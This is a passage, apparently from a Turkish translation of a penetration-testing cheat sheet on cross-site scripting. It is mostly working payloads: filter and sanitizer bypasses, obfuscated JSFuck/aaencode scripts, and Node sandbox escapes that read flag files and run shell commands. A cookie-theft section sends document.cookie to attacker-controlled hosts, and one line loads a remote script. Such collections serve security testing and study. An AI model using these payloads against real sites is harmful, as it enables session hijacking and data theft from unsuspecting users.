Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Keyfi fonksiyon (alert) çağrısı
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Saldırgan tarafından kontrol edilen verileri (örn. location.href
) güvensiz şekilde kullanan JS kodu vardır. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.
Açıklamanın kapsamının genişliği nedeniyle DOM vulnerabilities it was moved to this page:
Orada DOM vulnerabilities'in ne olduğu, nasıl tetiklendiği ve nasıl sömürüleceği ile ilgili ayrıntılı bir açıklama bulacaksınız.
Ayrıca, bahsedilen yazının sonunda DOM Clobbering attacks hakkında bir açıklama olduğunu unutmayın.
Upgrading Self-XSS
Cookie XSS
Eğer payload'ı bir cookie içine göndererek XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'tir. Ancak, eğer XSS'e karşı vulnerable subdomain bulursanız, bu XSS'i tüm domain'e bir cookie enjekte etmek ve böylece ana domain veya diğer subdomain'lerde (cookie XSS'e duyarlı olanlarda) cookie XSS'i tetiklemek için kötüye kullanabilirsiniz. Bunun için cookie tossing attack'i kullanabilirsiniz:
Bu tekniğin harika bir kötüye kullanımını this blog post içinde bulabilirsiniz.
Oturumunuzu admin'e göndermek
Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilindeyse ve admin buna erişirse, zafiyet tetiklenir.
Session Mirroring
Eğer bazı self XSS'ler bulursanız ve web sayfası yöneticiler için session mirroring sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip adminin, yardıma yardımcı olmak için sizin oturumunuzda gördüklerini kendi oturumundan görmesini sağlıyorsa — yöneticinin sizin self XSS'inizi tetiklemesini sağlayıp onun cookie'lerini/oturumunu çalabilirsiniz.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
Bir web uygulaması Emscripten/WASM kullandığında, sabit stringler (HTML format stub'ları gibi) yazılabilir linear hafızada tutulur. Tek bir in‑WASM overflow (örn. edit yolundaki unchecked memcpy) bitişik yapıları bozup yazmaları bu sabitlere yönlendirebilir. "" ile overwrite etmek, sanitize edilmiş girdiyi bir JavaScript handler değeri haline çevirir ve render sırasında anında DOM XSS'e yol açar.
İstismar iş akışı, DevTools bellek yardımcıları ve savunmalar ile ilgili ayrıntılar için ayrılmış sayfaya bakın:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalized edilip edilmediğini kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR mass assignment nedeniyle tırnaklar HTML'e eklenir ve tırnak kısıtlaması atlatılır; ek alanlar (onfocus) etiketin içine eklenebilir.
Form örneği (from this report), eğer payload'u gönderirseniz:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Çift "Key","Value" şöyle geri döndürülecek:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Sonra onfocus özniteliği eklenecek ve XSS gerçekleşir.
Özel kombinasyonlar
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 response içinde header injection ile XSS
Eğer bir 302 Redirect response içine inject headers yapabildiğinizi fark ederseniz, browser'ın arbitrary JavaScript çalıştırmasını sağlamayı deneyebilirsiniz. Bu trivial değil çünkü modern tarayıcılar HTTP response status kodu 302 ise HTTP response body'sini yorumlamaz, bu yüzden sadece cross-site scripting payload işe yaramaz.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Geçmişte bilinen protokoller: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Sadece Harfler, Rakamlar ve Noktalar
Eğer javascript'in execute edeceği callback'i bu karakterlerle (harfler, rakamlar ve noktalar) sınırlı olacak şekilde belirleyebiliyorsanız. Bu davranışı nasıl kötüye kullanacağınızı öğrenmek için bu yazının bu bölümünü okuyun.
XSS için Geçerli <script>
Content-Type'ları
(From here) Eğer application/octet-stream
gibi bir content-type ile bir script yüklemeye çalışırsanız, Chrome şu hatayı verir:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome'un bir loaded script çalıştırmasını destekleyecek tek Content-Type'lar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes
içinde yer alanlardır.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS için Script Türleri
(Kaynak: here) Peki, bir script yüklemek için hangi tipler belirtilebilir?
<script type="???"></script>
Cevap:
- module (varsayılan, açıklamaya gerek yok)
- webbundle: Web Bundles, bir dizi veriyi (HTML, CSS, JS…) birlikte
.wbn
dosyası halinde paketlemenizi sağlayan bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: import sözdizimini geliştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Bu davranış this writeup kullanılarak bir kütüphaneyi eval'e yeniden eşlemek ve bunu kötüye kullanarak XSS tetiklemek için kullanıldı.
- speculationrules: Bu özellik önceden render edilmenin neden olduğu bazı problemleri çözmek için geliştirilmiştir. Şöyle çalışır:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types ile XSS
(From here) Aşağıdaki content types tüm tarayıcılarda XSS çalıştırabilir:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Diğer tarayıcılarda başka Content-Types
keyfi JS çalıştırmak için kullanılabilir, bkz: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml İçerik Türü
Eğer sayfa text/xml content-type döndürüyorsa, bir namespace belirterek keyfi JS çalıştırmak mümkün:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Değiştirme Desenleri
Aşağıdakine benzer bir şey kullanıldığında: "some {{template}} data".replace("{{template}}", <user_input>)
. Saldırgan bazı korumaları atlatmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Örneğin this writeup, bu bir script içinde JSON string'ini escape etmek ve keyfi kod çalıştırmak için kullanıldı.
Chrome Cache to XSS
XS Jails Escape
Eğer kullanabileceğiniz karakterler sınırlıysa, XSJail problemleri için bu diğer geçerli çözümlere bakın:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer, güvenilmeyen kod yürütülmeden önce everything is undefined ise (ör. this writeup), herhangi bir güvenilmeyen kodun yürütülmesini suistimal etmek için yararlı nesneleri "hiçten" oluşturmak mümkün olur:
- import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require
'e dolaylı erişim
According to this modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Dolayısıyla, eğer o modülden başka bir fonksiyonu çağırabiliyorsak, bu fonksiyondan arguments.callee.caller.arguments[1]
kullanarak require
'e erişmek mümkündür:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Önceki örneğe benzer şekilde, use error handlers kullanarak modülün wrapper'ına erişmek ve require
fonksiyonunu almak mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Gelişmiş Bypass
- Farklı obfuscations tek sayfada: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Daha gelişmiş JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS yaygın payloads
Bir arada birden fazla payload
Iframe Tuzak
Kullanıcının sayfada iframe'den çıkmadan gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın:
Cookies Alma
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Cookie'de HTTPOnly flag ayarlıysa, JavaScript'ten cookies'e erişemeyeceksiniz. Ancak şanslıysanız, bu korumayı bypass etmenin bazı yolları var.
Sayfa İçeriğini Çal
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
